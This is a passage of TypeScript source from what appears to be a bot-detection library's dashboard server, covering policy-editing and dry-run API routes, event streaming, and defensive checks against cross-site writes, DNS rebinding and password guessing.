on.\");\n return;\n }\n if (action === \"forget\") {\n handler.forgetActor(key, { by });\n } else if (action === \"clear\") {\n const forMs = typeof payload?.forMs === \"number\" && Number.isFinite(payload.forMs) ? Math.min(24 * 60 * 60_000, Math.max(0, payload.forMs)) : DEFAULT_CLEARANCE_MS;\n handler.clearActor(key, forMs, { by });\n } else {\n sendError(response, 400, 'Expected `action` to be \"forget\" or \"clear\".');\n return;\n }\n send(response, 200, \"application/json; charset=utf-8\", JSON.stringify({ ok: true }));\n return;\n }\n\n case \"/api/test\": {\n if (!sections.tester || !sections.feed) return sectionOff(response, \"tester\");\n if (request.method !== \"POST\") {\n sendError(response, 405, \"Use POST.\");\n return;\n }\n const body = await readJson(request);\n if (\"error\" in body) {\n send(response, 400, \"application/json; charset=utf-8\", JSON.stringify({ error: body.error }));\n return;\n }\n try {\n send(response, 200, \"application/json; charset=utf-8\", JSON.stringify(await testRequest(body.value)));\n } catch (error) {\n send(response, 400, \"application/json; charset=utf-8\", JSON.stringify({ error: error instanceof Error ? error.message : String(error) }));\n }\n return;\n }\n\n case \"/api/guard\": {\n if (!sections.guard || !sections.policy) return sectionOff(response, \"guard\");\n if (request.method !== \"POST\") {\n sendError(response, 405, \"Use POST.\");\n return;\n }\n // Gated twice, like the rule editor: the page hides the form, and the server\n // refuses the write. A hidden control is a UI decision; this is the control.\n if (!allowGuardEdit) {\n sendError(response, 403, \"Guard editing is disabled on this dashboard. Enable it with controls: { editGuard: true }.\");\n return;\n }\n const body = await readJson(request);\n if (\"error\" in body) {\n send(response, 400, \"application/json; charset=utf-8\", JSON.stringify({ error: body.error }));\n return;\n }\n try {\n const result = handler.updateGuard(guardSettings(body.value), { by });\n send(response, 200, \"application/json; charset=utf-8\", JSON.stringify({ ok: true, guard: result.guard }));\n } catch (error) {\n // Nothing has moved: `updateGuard` validates before it assigns.\n send(response, 400, \"application/json; charset=utf-8\", JSON.stringify({ error: error instanceof Error ? error.message : String(error) }));\n }\n return;\n }\n\n case \"/api/policy/preview\": {\n if (!sections.policy) return sectionOff(response, \"policy\");\n if (request.method !== \"POST\") {\n sendError(response, 405, \"Use POST.\");\n return;\n }\n const body = await readJson(request);\n if (\"error\" in body) {\n send(response, 400, \"application/json; charset=utf-8\", JSON.stringify({ error: body.error }));\n return;\n }\n try {\n const { rules, warnings } = candidateRules(body.value);\n // A guard is previewable whether or not it is editable here: \"what would\n // balanced have done to my traffic?\" is a question worth answering to\n // somebody who then has to go and write it into a deploy.\n const guard = sections.guard ? guardSettings((body.value as { guard?: unknown } | null)?.guard) : {};\n const preview = previewPolicy(feed.backlog(), handler.policy, candidatePolicy(mergeRules(rules), handler.policy, guard), warnings);\n send(response, 200, \"application/json; charset=utf-8\", JSON.stringify(preview));\n } catch (error) {\n send(response, 400, \"application/json; charset=utf-8\", JSON.stringify({ error: error instanceof Error ? error.message : String(error) }));\n }\n return;\n }\n\n case \"/api/policy/apply\": {\n if (!sections.policy) return sectionOff(response, \"policy\");\n // Gated twice on purpose: the page hides the editor, and the server refuses\n // it. A hidden button is a UI decision; this is the control.\n if (!allowEdit) {\n sendError(response, 403, \"Policy editing is disabled on this dashboard. Enable it with controls: { editPolicy: true }.\");\n return;\n }\n if (request.method !== \"POST\") {\n sendError(response, 405, \"Use POST.\");\n return;\n }\n const body = await readJson(request);\n if (\"error\" in body) {\n send(response, 400, \"application/json; charset=utf-8\", JSON.stringify({ error: body.error }));\n return;\n }\n try {\n const { rules } = candidateRules(body.value);\n const merged = mergeRules(rules);\n const result = handler.updatePolicy(merged, { by });\n send(response, 200, \"application/json; charset=utf-8\", JSON.stringify({ ok: true, rules: merged.length, warnings: result.warnings }));\n } catch (error) {\n // A rejected edit leaves the running policy exactly as it was: `updatePolicy`\n // validates before it swaps.\n send(response, 400, \"application/json; charset=utf-8\", JSON.stringify({ error: error instanceof Error ? error.message : String(error) }));\n }\n return;\n }\n\n case \"/api/reset\":\n if (!allowReset) {\n sendError(response, 403, \"Reset is disabled on this dashboard. Enable it with controls: { reset: true }.\");\n return;\n }\n if (request.method !== \"POST\") {\n sendError(response, 405, \"Use POST.\");\n return;\n }\n feed.clear();\n handler.registry.clear();\n handler.config.onWarning(`The dashboard's feed and actor registry were cleared${by === undefined ? \"\" : ` by ${by}`}.`);\n send(response, 200, \"application/json; charset=utf-8\", JSON.stringify({ ok: true }));\n return;\n case \"/metrics\": {\n if (options.exposePrometheus !== true) {\n send(response, 404, \"text/plain; charset=utf-8\", \"404 not found\\n\");\n return;\n }\n const metrics = handler.metrics();\n if (metrics === undefined) {\n send(response, 503, \"text/plain; charset=utf-8\", \"Metrics are disabled on this handler (metrics: false).\\n\");\n return;\n }\n send(response, 200, \"text/plain; version=0.0.4; charset=utf-8\", toPrometheus(metrics));\n return;\n }\n default:\n send(response, 404, \"text/plain; charset=utf-8\", \"404 not found\\n\");\n }\n }\n\n function snapshot(): DashboardSnapshot {\n const described = handler.policy.describe();\n return {\n startedAt,\n now: handler.config.clock.now(),\n // Off with the Statistics section rather than merely unrendered: the counters\n // are the page's other description of your detection, and a section that is\n // switched off should not be readable from the network tab.\n metrics: sections.statistics ? handler.metrics() : undefined,\n detectors: sections.statistics ? handler.describeDetectors() : [],\n rules: sections.policy ? described.rules : [],\n ranges: sections.policy ? handler.listRanges() : [],\n policy: {\n falsePositivePolicy: described.falsePositivePolicy,\n fallbackAction: described.fallbackAction,\n suspectThreshold: handler.config.suspectThreshold,\n defaultAction: described.defaultAction,\n terminalScoreThreshold: described.terminalScoreThreshold,\n challengeEnabled: handler.challenge !== undefined,\n editable: allowEdit,\n guardEditable: allowGuardEdit,\n },\n notices: sections.notices ? notices.list() : [],\n instance,\n // The markers on the traffic timeline. Not gated on the policy section: a change\n // to the guard or the allowlist is a thing that happened to the traffic, and the\n // person watching the traffic should see it whether or not they may make one.\n changes: sections.changes ? changes.list() : [],\n skipped: feed.skipped,\n ...(handler.audit !== undefined && sections.audit\n ? { audit: { ...handler.audit.summary(), checks: handler.audit.checks.map((check) => ({ id: check.id, description: check.description })) } }\n : {}),\n };\n }\n\n /**\n * One feed entry as *this* listener is allowed to describe it.\n *\n * Applied on the way out rather than on the way in, because the entry the feed keeps\n * has to stay whole: `previewPolicy` re-decides requests from these, and a preview\n * run over entries with their evidence removed would quietly answer a different\n * question from the one asked. So the ring holds everything and a viewer is sent a\n * projection of it.\n */\n function project(entry: DashboardEntry): DashboardEntry {\n if (sections.evidence && sections.actors) return entry;\n // Rebuilt rather than edited, because the fields being withheld are optional ones:\n // deleting a key and assigning `undefined` to it are the same thing to a reader and\n // different things to the type system, and only one of them can be spread.\n const { headers, downgradeReason, ...rest } = entry;\n return {\n ...rest,\n ...(sections.evidence ? { ...(headers !== undefined ? { headers } : {}), ...(downgradeReason !== undefined ? { downgradeReason } : {}) } : {}),\n ...(sections.evidence ? {} : { evidence: [], failures: [], query: {} }),\n ...(sections.actors ? {} : { actorStats: { requests: 0, distinctPaths: 0, priorConfirmations: 0, cleared: false, firstSeen: entry.at } }),\n };\n }\n\n /**\n * What the engine would make of a request that is not happening.\n *\n * A **dry run**: `record: false` means no counter moves, no actor state changes, no\n * `assessment` event fires. Asking the question does not become part of the answer to\n * \"what is my traffic doing?\", which is the only way a tester belongs on a page whose\n * whole purpose is to describe that traffic honestly.\n *\n * The decision is real: `decide()` is pure, so the rule that would fire and the\n * action it would take — guard included — are exact rather than simulated. What the\n * dry run cannot know is history. It gets an actor with no past, so `cadence`,\n * `crawl-breadth` and `rate-anomaly` have nothing to read, and the answer is\n * \"what would this look like as a first request\", which is the question a support\n * ticket is actually asking.\n */\n async function testRequest(body: unknown): Promise<unknown> {\n const payload = body as { raw?: unknown; method?: unknown; url?: unknown; ip?: unknown } | null;\n const parsed = parseRequest(typeof payload?.raw === \"string\" ? payload.raw : \"\", {\n method: typeof payload?.method === \"string\" && payload.method !== \"\" ? payload.method : undefined,\n url: typeof payload?.url === \"string\" && payload.url !== \"\" ? payload.url : undefined,\n ip: typeof payload?.ip === \"string\" && payload.ip !== \"\" ? payload.ip : undefined,\n });\n\n const facts = createFacts({\n method: parsed.method,\n url: parsed.url,\n headers: parsed.headers,\n ip: parsed.ip,\n protocol: \"https\",\n httpVersion: \"1.1\",\n });\n\n const assessment = await handler.assess(facts, { record: false });\n const decision = handler.policy.decide(assessment);\n const entry = project(feed.entryFor(assessment, 0));\n return {\n entry: {\n ...entry,\n action: decision.action,\n rule: decision.rule,\n downgradedFrom: decision.downgradedFrom,\n downgradeReason: decision.downgradeReason,\n },\n reason: decision.reason,\n assumed: parsed.assumed,\n };\n }\n\n function sectionOff(response: ServerResponse, section: string): void {\n sendError(response, 403, `The \"${section}\" section is switched off on this dashboard (sections: { ${section}: false }).`);\n }\n\n /**\n * The rule set as JSON, plus the `robots.txt` it implies.\n *\n * Rules whose match is a *predicate function* cannot be serialised, so they are\n * listed with a flag instead of a body and preserved verbatim across an edit — see\n * `applyRules`. Silently dropping them would be the worst outcome available: an\n * operator saves an unrelated change and a rule they cannot see stops existing.\n */\n function policyDocument(): PolicyDocument {\n const rules = handler.policy.rules.map((rule, index) => {\n const editable = typeof rule.match !== \"function\";\n return { id: rule.id, index, editable, ...(editable ? { rule } : {}) };\n });\n const robots = sections.robots ? robotsFromRules(handler.policy.rules) : { robotsTxt: \"\", unreadable: [] };\n const guard = handler.policy.describeGuard();\n return {\n rules,\n robots: robots.robotsTxt,\n robotsNotes: [...robots.unreadable],\n editable: allowEdit,\n guardEditable: allowGuardEdit,\n guard: { ...guard, suspectThreshold: handler.config.suspectThreshold },\n // The editor's dropdowns are built from these rather than from a copy of its\n // own, so a verdict or an action added to the library appears in the GUI\n // without anybody remembering to update it.\n vocabulary: {\n verdicts: VERDICTS,\n botClasses: BOT_CLASSES,\n categories: BOT_CATEGORIES,\n actions: ACTION_NAMES,\n // What a downgraded decision may become. The terminal actions are absent\n // because a terminal fallback is the one setting that would let the guard\n // deny the request it stepped in to protect; `replaceGuard` refuses it, and\n // the form should not offer what the server will not take.\n fallbackActions: ACTION_NAMES.filter((action) => !TERMINAL_ACTIONS.has(action)),\n falsePositivePolicies: [\"strict\", \"balanced\", \"aggressive\"],\n methods: [\"GET\", \"POST\", \"PUT\", \"PATCH\", \"DELETE\", \"HEAD\", \"OPTIONS\"],\n detectors: handler.describeDetectors().map((detector) => detector.id),\n presets: Object.keys(PRESETS),\n },\n };\n }\n\n /**\n * Everything this dashboard knows about how the handler is configured.\n *\n * Split into what an import can *change* — the rules — and what it can only\n * describe. Detectors, ranges, the guard and the audit come from the code that\n * constructed the handler, and a settings file that appeared to carry them would be\n * promising something it cannot deliver.\n */\n function settingsDocument(): Record<string, unknown> {\n const described = handler.policy.describe();\n return {\n format: \"bothandlerjs/settings\",\n version: 1,\n exportedAt: new Date(handler.config.clock.now()).toISOString(),\n title: options.title ?? \"bothandlerjs\",\n // The importable half.\n rules: handler.policy.rules.filter((rule) => typeof rule.match !== \"function\"),\n // The describing half. Present so a file is a complete record of the running\n // configuration; ignored on import, and the page says so.\n readOnly: {\n guard: {\n falsePositivePolicy: described.falsePositivePolicy,\n fallbackAction: described.fallbackAction,\n defaultAction: described.defaultAction,\n terminalScoreThreshold: described.terminalScoreThreshold,\n },\n suspectThreshold: handler.config.suspectThreshold,\n challengeEnabled: handler.challenge !== undefined,\n detectors: handler.describeDetectors(),\n ranges: handler.listRanges(),\n lockedRules: handler.policy.rules.filter((rule) => typeof rule.match === \"function\").map((rule) => rule.id),\n audit: handler.audit !== undefined ? { checks: handler.audit.checks.map((check) => check.id) } : null,\n dashboard: {\n controls: { reset: allowReset, editPolicy: allowEdit, editGuard: allowGuardEdit },\n sections,\n basePath,\n exposePrometheus: options.exposePrometheus === true,\n },\n },\n };\n }\n\n /**\n * Puts a submitted rule list back together with the ones that could not be sent.\n *\n * A predicate rule keeps its position by id: the submitted list is walked, and any\n * function-matched rule that was in the running policy is spliced back where it was.\n * Order is the whole semantics of a first-match policy, so \"keep the position\" is\n * not a nicety.\n */\n function mergeRules(submitted: readonly Rule[]): Rule[] {\n const merged: Rule[] = [...submitted];\n handler.policy.rules.forEach((rule, index) => {\n if (typeof rule.match !== \"function\") return;\n // Back at the index it held. Order is the whole semantics of a first-match\n // policy, so \"wherever it ends up\" is not an option, and the editor shows these\n // in place and locked so the result is what the operator saw.\n merged.splice(Math.min(index, merged.length), 0, rule);\n });\n return merged;\n }\n\n function sendPage(response: ServerResponse): void {\n // A fresh nonce per response, so the page's own inline script runs under a CSP\n // that permits nothing else — no remote script, no remote style, no framing.\n const nonce = randomId(12);\n const html = page(nonce);\n response.writeHead(200, {\n ...SECURITY_HEADERS,\n \"content-type\": \"text/html; charset=utf-8\",\n \"content-security-policy\": `default-src 'none'; script-src 'nonce-${nonce}'; style-src 'nonce-${nonce}'; connect-src 'self'; img-src 'self' data:; base-uri 'none'; form-action 'none'; frame-ancestors 'none'`,\n });\n response.end(html);\n }\n\n function stream(request: IncomingMessage, url: URL, response: ServerResponse): void {\n if (streams.size >= maxClients) {\n sendError(response, 503, `Too many dashboard viewers (limit ${maxClients}).`);\n return;\n }\n\n response.writeHead(200, {\n ...SECURITY_HEADERS,\n \"content-type\": \"text/event-stream; charset=utf-8\",\n connection: \"keep-alive\",\n // Nagle's algorithm holds small frames back; a live feed is nothing but small\n // frames, and the delay is visible as a stutter.\n \"x-accel-buffering\": \"no\",\n });\n request.socket.setNoDelay(true);\n const viewer: Stream = { response, lagging: false, dropped: 0, laggingSince: 0 };\n streams.add(viewer);\n\n writeFrame(viewer, frameFor(\"stats\", snapshot()), false);\n\n // A reconnecting browser resends the last `id:` it saw, unasked, and a resume is\n // the difference between a handful of frames and the whole ring — five hundred\n // entries with their headers, evidence and actor history — every time a laptop\n // lid closes or a proxy times an idle stream out. `?since=` is the same thing for\n // a client that is not an `EventSource`.\n const resumeFrom = cursorOf(headerValue(request, \"last-event-id\") ?? url.searchParams.get(\"since\") ?? undefined);\n const missed = resumeFrom === undefined ? undefined : feed.since(resumeFrom);\n const cursor = feed.cursor;\n // No cursor, or one this feed can no longer speak to: the viewer is told to start\n // again rather than left holding rows nothing will ever correct.\n writeFrame(viewer, frameFor(\"sync\", missed === undefined ? { replace: true } : { replace: false, from: resumeFrom, entries: missed.length }), false);\n // The replay itself is droppable, because a viewer too slow to receive it is a\n // viewer that will ask for it again from the cursor it never advanced past.\n for (const entry of missed ?? feed.backlog()) writeFrame(viewer, frameFor(\"entry\", project(entry)), true);\n // One id for the whole replay rather than one per entry, so that a connection\n // dropped halfway through it leaves the viewer's cursor where it was and the\n // replay simply happens again. A per-entry id would leave the cursor at the last\n // entry that *arrived* and silently skip the rest.\n writeFrame(viewer, frameFor(\"synced\", { cursor }, cursor), false);\n\n const unsubscribe = feed.subscribe((event, entry, frame) => writeFrame(viewer, frameFor(event, entry === undefined ? {} : project(entry), frame), true));\n // A comment frame keeps proxies and browsers from closing an idle stream.\n const heartbeat = setInterval(() => writeFrame(viewer, \": ping\\n\\n\", false), HEARTBEAT_MS);\n heartbeat.unref();\n startStatsTimer();\n\n const done = (): void => {\n unsubscribe();\n clearInterval(heartbeat);\n streams.delete(viewer);\n };\n request.on(\"close\", done);\n response.on(\"close\", done);\n }\n\n\n return {\n serve,\n get clients(): number {\n return streams.size;\n },\n close(): void {\n if (statsTimer !== undefined) clearInterval(statsTimer);\n statsTimer = undefined;\n feed.close();\n notices.close();\n changes.close();\n for (const stream of streams) stream.response.end();\n streams.clear();\n },\n };\n}\n\n/**\n * The dashboard as a request handler, for mounting on a server you already have.\n *\n * The reason to want this is almost always TLS. `startDashboard` opens a plain HTTP\n * listener, which is right on a laptop and wrong in most production networks: the\n * certificate lives at an ingress, everything has to be reachable under one hostname,\n * or the platform exposes exactly one port. None of that is an argument against the\n * design — it is an argument about *which* server the page is served from.\n *\n * ```ts\n * const dashboard = createDashboardHandler(botHandler, {\n * basePath: \"/_bots\",\n * auth: { authorize: (req) => sessionFrom(req)?.email ?? false },\n * });\n *\n * https.createServer(tls, (req, res) => {\n * if (req.url?.startsWith(\"/_bots\")) return dashboard(req, res);\n * return app(req, res);\n * }).listen(443);\n * ```\n *\n * Two things are different from the listening form, and both follow from not owning\n * the socket:\n *\n * - **`auth` is required**, including the explicit `auth: false`. The listening form\n * may skip it on `127.0.0.1` because the operating system is then the access\n * control; here there is no bind address to inspect, so nothing can be assumed and\n * the safe assumption is \"public\".\n * - **`close()` does not close a server it does not own.** It unsubscribes from the\n * engine, ends every event stream and stops the timers. Your server is yours.\n *\n * What has *not* changed is the reason the dashboard is a separate listener from your\n * application: mount it on a server that does not run your bot handler. Serving it\n * from inside the application it reports on means reading the dashboard shows up in\n * the dashboard, and a challenge served to your site can lock you out of the tool you\n * are using to read about it.\n *\n * `basePath` should name the path the page is served under, so the page can build its\n * own URLs. Routing accepts the path with or without that prefix, so it works whether\n * or not your framework strips the mount point before calling this.\n */\nexport function createDashboardHandler(handler: BotHandler, options: DashboardHandlerOptions): DashboardRequestHandler {\n const dashboard = buildDashboard(handler, options, undefined);\n const mounted = ((request: IncomingMessage, response: ServerResponse): void => dashboard.serve(request, response)) as {\n (request: IncomingMessage, response: ServerResponse): void;\n clients: number;\n close: () => Promise<void>;\n };\n Object.defineProperty(mounted, \"clients\", { get: () => dashboard.clients });\n mounted.close = async (): Promise<void> => {\n dashboard.close();\n return Promise.resolve();\n };\n return mounted as DashboardRequestHandler;\n}\n\n/**\n * Starts the dashboard on a listener of its own.\n *\n * Two decisions in here are load-bearing, and both are about the fact that this page\n * is a description of your detection rather than a description of your traffic.\n *\n * **It binds to loopback by default.** The page lists client addresses and, on any\n * row you click, the individual pieces of evidence with the reason each one fired.\n * That is a tuning guide for whoever is scraping you: it names the next signal to fix.\n * A dashboard reachable from the internet is a scraper's fastest route to a\n * header set that passes.\n *\n * **It refuses to bind anywhere else without an explicit decision about access.**\n * Not a warning in a log nobody reads — a `ConfigError` at startup, naming the two\n * ways out: configure `auth`, or write `auth: false` to say you have another control\n * in front of it. The failure mode this prevents is the one where a dashboard goes up\n * on 0.0.0.0 for five minutes during an incident and stays there for two years.\n *\n * It is also, deliberately, a *separate listener* from the site it reports on. Serving\n * it from inside your own application would put it behind the bot handler, where\n * watching the dashboard shows up in the dashboard, and where a challenge served to\n * your site can lock you out of the tool you are using to read about it. To serve it\n * from a listener of your own — behind your own TLS, under your own path — see\n * {@link createDashboardHandler}, which is the same dashboard without the socket.\n */\nexport async function startDashboard(handler: BotHandler, options: DashboardOptions = {}): Promise<DashboardServer> {\n const host = options.host ?? DEFAULT_HOST;\n const port = options.port ?? DEFAULT_PORT;\n const basePath = normalizeBase(options.basePath ?? \"/\");\n const dashboard = buildDashboard(handler, options, host);\n\n const sockets = new Set<Socket>();\n const server = createServer(dashboard.serve);\n server.on(\"connection\", (socket) => {\n sockets.add(socket);\n socket.on(\"close\", () => sockets.delete(socket));\n });\n\n await new Promise<void>((resolve, reject) => {\n const onError = (error: NodeJS.ErrnoException): void => {\n if (error.code === \"EADDRINUSE\") {\n reject(new ConfigError(`The dashboard cannot listen on ${host}:${port} — the port is already in use. Pass a different \\`port\\`, or 0 to have one chosen.`));\n return;\n }\n reject(error);\n };\n server.once(\"error\", onError);\n server.listen(port, host, () => {\n server.removeListener(\"error\", onError);\n // Past startup an error must not reject a settled promise or take the process\n // down; it is reported the same way every other background failure is.\n server.on(\"error\", (error) => handler.config.onError(error, { source: \"dashboard\" }));\n resolve();\n });\n });\n\n const address = server.address();\n const boundPort = typeof address === \"object\" && address !== null ? address.port : port;\n let closed = false;\n\n return {\n url: `http://${displayHost(host)}:${boundPort}${basePath === \"/\" ? \"/\" : `${basePath}/`}`,\n port: boundPort,\n host,\n get clients(): number {\n return dashboard.clients;\n },\n async close(): Promise<void> {\n if (closed) return;\n closed = true;\n dashboard.close();\n await new Promise<void>((resolve) => {\n server.close(() => resolve());\n // An event stream is a connection that never ends on its own, so `close()`\n // would otherwise wait for a client to lose interest.\n for (const socket of sockets) socket.destroy();\n sockets.clear();\n });\n },\n };\n}\n\n/**\n * Reads a JSON body, bounded.\n *\n * The cap is enforced while reading rather than after: a body that arrives in\n * gigabyte-shaped chunks must not be buffered first and rejected second.\n */\nasync function readJson(request: IncomingMessage): Promise<{ value: unknown } | { error: string }> {\n // Insisting on JSON is a second lock on the same door `isSameOrigin` guards, and it\n // is the one that does not depend on a header the client chose to send. An HTML\n // form can only post three media types — urlencoded, multipart and text/plain — and\n // none of them is this one. Anything else a browser sends has to ask permission\n // first, and this server answers no preflight, so permission never arrives.\n const mediaType = (headerValue(request, \"content-type\") ?? \"\").split(\";\", 1)[0]?.trim() ?? \"\";\n if (mediaType !== \"application/json\") {\n return { error: `Expected content-type: application/json${mediaType === \"\" ? \", and none was sent\" : `, got \"${mediaType}\"`}.` };\n }\n\n const chunks: Buffer[] = [];\n let size = 0;\n for await (const chunk of request) {\n const buffer = chunk as Buffer;\n size += buffer.length;\n if (size > MAX_BODY_BYTES) return { error: `Body larger than ${MAX_BODY_BYTES} bytes.` };\n chunks.push(buffer);\n }\n if (size === 0) return { error: \"Empty body. Send { rules: [...] } or { preset: \\\"protect-content\\\" }.\" };\n try {\n return { value: JSON.parse(Buffer.concat(chunks).toString(\"utf8\")) };\n } catch (error) {\n return { error: `Body is not valid JSON: ${error instanceof Error ? error.message : String(error)}` };\n }\n}\n\n/**\n * Turns a submitted document into rules.\n *\n * Accepts either a rule list or the name of a shipped preset — previewing \"what would\n * `protect-data` have done to my traffic?\" is the question people ask before adopting\n * one, and answering it from the traffic they actually have beats answering it from\n * the documentation.\n */\nfunction candidateRules(body: unknown): { rules: Rule[]; warnings: string[] } {\n if (typeof body !== \"object\" || body === null) throw new ConfigError(\"Expected an object with `rules` or `preset`.\");\n\n const document = body as { rules?: unknown; preset?: unknown };\n\n if (typeof document.preset === \"string\") {\n const preset = PRESETS[document.preset as PresetName];\n if (preset === undefined) throw new ConfigError(`Unknown preset \"${document.preset}\". Available: ${Object.keys(PRESETS).join(\", \")}.`);\n const rules = preset();\n return { rules, warnings: validateRules(rules) };\n }\n\n if (!Array.isArray(document.rules)) throw new ConfigError(\"Expected `rules` to be an array of rule objects.\");\n const rules = document.rules as Rule[];\n // Throws on anything structurally wrong; returns the survivable complaints.\n const warnings = validateRules(rules);\n for (const rule of rules) {\n if (typeof rule.match === \"function\") throw new ConfigError(`Rule \"${rule.id}\" has a function match, which cannot arrive over HTTP.`);\n }\n return { rules, warnings };\n}\n\n/** A request header as a single trimmed, lowercased value. Node hands back an array for headers that may repeat. */\nfunction headerValue(request: IncomingMessage, name: string): string | undefined {\n const value = request.headers[name];\n if (value === undefined) return undefined;\n return (Array.isArray(value) ? value[0] : value)?.trim().toLowerCase();\n}\n\n/** A host with its port removed, in both the bare and the bracketed-IPv6 form. */\nfunction stripPort(host: string): string {\n if (host.startsWith(\"[\")) {\n const end = host.indexOf(\"]\");\n return end === -1 ? host : host.slice(0, end + 1);\n }\n const colon = host.lastIndexOf(\":\");\n if (colon === -1) return host;\n // Only a numeric tail is a port. A bare IPv6 address is not legal in a `Host`\n // header, but splitting one on its last colon would silently mangle it.\n return /^\\d+$/.test(host.slice(colon + 1)) ? host.slice(0, colon) : host;\n}\n\n/**\n * Host names this server will answer to, or `undefined` when it will answer to any.\n *\n * Scoped to the one attack it exists for. A dashboard on loopback is reachable by any\n * page the operator visits, if that page's own domain resolves to 127.0.0.1 — and\n * then the browser calls it *same-origin*, so `isSameOrigin` waves it through and the\n * feed is readable. Refusing a `Host` the operator never wrote breaks the rebind,\n * because the name the attacker needs sent is not on the list.\n *\n * A public bind returns `undefined` on purpose: rebinding buys nothing against an\n * address the attacker can already reach directly, and enforcing a host list there\n * would break every reverse proxy that fronts this with a real domain name.\n */\nfunction resolveAllowedHosts(host: string, extra: readonly string[] | undefined): Set<string> | undefined {\n if (extra?.includes(\"*\")) return undefined;\n if (!LOOPBACK_HOSTS.has(host)) return undefined;\n const allowed = new Set([\"localhost\", \"127.0.0.1\", \"[::1]\", \"::1\", stripPort(host).toLowerCase()]);\n for (const entry of extra ?? []) allowed.add(stripPort(entry).toLowerCase());\n return allowed;\n}\n\nfunction hostAllowed(request: IncomingMessage, allowed: ReadonlySet<string> | undefined): boolean {\n if (allowed === undefined) return true;\n const host = headerValue(request, \"host\");\n // HTTP/1.1 requires a `Host`; HTTP/2 gives Node one synthesised from `:authority`.\n // Nothing legitimate arrives without it.\n if (host === undefined) return false;\n return allowed.has(stripPort(host));\n}\n\n/**\n * Whether a state-changing request came from this dashboard's own page.\n *\n * Two signals, in order of how much they can be trusted.\n *\n * `Sec-Fetch-Site` is attached by the browser and is on the forbidden-header list, so\n * script cannot set or remove it. When it is there it decides the question outright:\n * `same-origin` is the page talking to its own server and `none` is someone typing\n * the address, while `same-site` and `cross-site` are, by definition, another page.\n *\n * `Origin` is the fallback for clients that send no fetch metadata. Its *absence* has\n * to be read as allow — curl, a deploy script and a health check all omit it — which\n * is exactly why it cannot be the only check and runs second. When it is present it\n * must name this same server; a sandboxed frame's literal `null` parses as no URL at\n * all and is refused.\n */\nfunction isSameOrigin(request: IncomingMessage): boolean {\n const site = headerValue(request, \"sec-fetch-site\");\n if (site !== undefined) return site === \"same-origin\" || site === \"none\";\n\n const origin = headerValue(request, \"origin\");\n if (origin === undefined) return true;\n try {\n return new URL(origin).host === headerValue(request, \"host\");\n } catch {\n return false;\n }\n}\n\n/**\n * Answers a caller this dashboard will not serve.\n *\n * One function for all three pre-routing refusals — bad host, cross-site write, failed\n * auth — because the moment they differ from each other they become an oracle: a probe\n * that can tell \"wrong host\" from \"wrong password\" has learned that a password exists.\n * Under the default they *do* differ, deliberately, because the likelier reader is an\n * operator debugging their own deployment and three distinct statuses are three\n * distinct diagnoses. Concealment is the thing you opt into, not the thing you get.\n *\n * `honest` is that default, passed as a thunk so the header work behind it is skipped\n * entirely when the answer is going to be a dropped connection.\n */\nfunction refuse(request: IncomingMessage, response: ServerResponse, refusal: DashboardRefusal, honest: () => void): void {\n if (refusal === \"unauthorized\") {\n honest();\n return;\n }\n if (refusal === \"close\") {\n // No status line, no headers, nothing to fingerprint. `destroy` rather than `end`\n // so no bytes are written at all.\n request.socket.destroy();\n return;\n }\n if (refusal === \"not-found\") {\n // Byte-identical to the 404 for an unknown path — see `serve`. If these two ever\n // drift apart the concealment is gone, because the difference is the signal.\n send(response, 404, \"text/plain; charset=utf-8\", \"404 not found\\n\");\n return;\n }\n response.writeHead(refusal.status ?? 302, { ...SECURITY_HEADERS, location: refusal.redirect });\n response.end();\n}\n\n/**\n * Checks a refusal mode against the authentication it has to coexist with.\n *\n * The combination this exists to catch is Basic auth with a silent refusal. A browser\n * prompts for a password because a `401` told it to; answer `404` or drop the\n * connection and no prompt ever appears, so there is no way to supply the credential\n * the server is waiting for. That is not a hardened dashboard, it is a locked one, and\n * it fails at the moment someone needs it rather than at startup.\n */\n/**\n * A range update, read as an add or a remove against what is there now.\n *\n * Add-and-remove rather than \"here is the new list\", because the page is not the owner\n * of these sets: they come from configuration, from a crawler's published ranges, from\n * whatever else has written to them since boot. A dashboard that submitted a whole list\n * would silently discard anything added between the read and the write.\n */\nfunction rangeUpdate(body: unknown, handler: BotHandler): { name: string; entries: string[] } {\n const payload = body as { name?: unknown; add?: unknown; remove?: unknown } | null;\n const name = typeof payload?.name === \"string\" ? payload.name.trim() : \"\";\n if (name === \"\" || name.length > 100) throw new ConfigError(\"Expected `name` to be the range set to update.\");\n\n const add = Array.isArray(payload?.add) ? payload.add.filter((entry): entry is string => typeof entry === \"string\") : [];\n const remove = new Set(Array.isArray(payload?.remove) ? payload.remove.filter((entry): entry is string => typeof entry === \"string\") : []);\n if (add.length === 0 && remove.size === 0) throw new ConfigError(\"Expected `add` or `remove` to name at least one address or CIDR.\");\n\n const current = handler.rangeEntries(name) ?? [];\n const entries = current.filter((entry) => !remove.has(entry));\n for (const entry of add) if (!entries.includes(entry)) entries.push(entry.trim());\n return { name, entries };\n}\n\n/** Host names a mounted dashboard answers to: whatever was configured, or anything. */\nfunction resolveMountedHosts(extra: readonly string[] | undefined): Set<string> | undefined {\n // Nothing to compare a default against. The server that owns the socket knows which\n // names reach it; this one does not, and inventing a list would break every mount\n // that is doing the ordinary thing.\n if (extra === undefined || extra.length === 0 || extra.includes(\"*\")) return undefined;\n return new Set(extra.map((name) => stripPort(name).toLowerCase()));\n}\n\n/** The client allowlist, refused at startup rather than at the moment somebody is locked out. */\nfunction validateClients(entries: readonly string[]): IpRangeSet {\n const set = new IpRangeSet(entries);\n if (set.invalid.length > 0) {\n throw new ConfigError(`\\`allowedClients\\` contains ${set.invalid.join(\", \")}, which are not addresses or CIDRs. Nothing would have been able to reach this dashboard.`);\n }\n return set;\n}\n\n/**\n * Slowing down a wrong credential.\n *\n * Comparing both halves in constant time defeats a timing attack and does nothing at\n * all about the obvious attack, which is trying again. This is the other half: after a\n * few failures from one address the next attempt is refused outright, for a delay that\n * doubles each time.\n *\n * Keyed by address in a bounded LRU, so the memory this can be made to consume is\n * fixed — an attacker with a large address pool evicts their own entries rather than\n * this process's heap. A success clears the count, so somebody who mistyped a password\n * four times and then got it right is not left waiting.\n */\ninterface AuthThrottle {\n /** Milliseconds remaining on a lockout, or `undefined` when the address may try. */\n check: (address: string) => number | undefined;\n failed: (address: string) => void;\n succeeded: (address: string) => void;\n}\n\nconst NO_THROTTLE: AuthThrottle = { check: () => undefined, failed: () => {}, succeeded: () => {} };\n\nfunction createAuthThrottle(options: DashboardOptions[\"authThrottle\"], handler: BotHandler): AuthThrottle {\n if (options === false) return NO_THROTTLE;\n const maxAttempts = Math.max(1, options?.maxAttempts ?? 5);\n const lockoutMs = 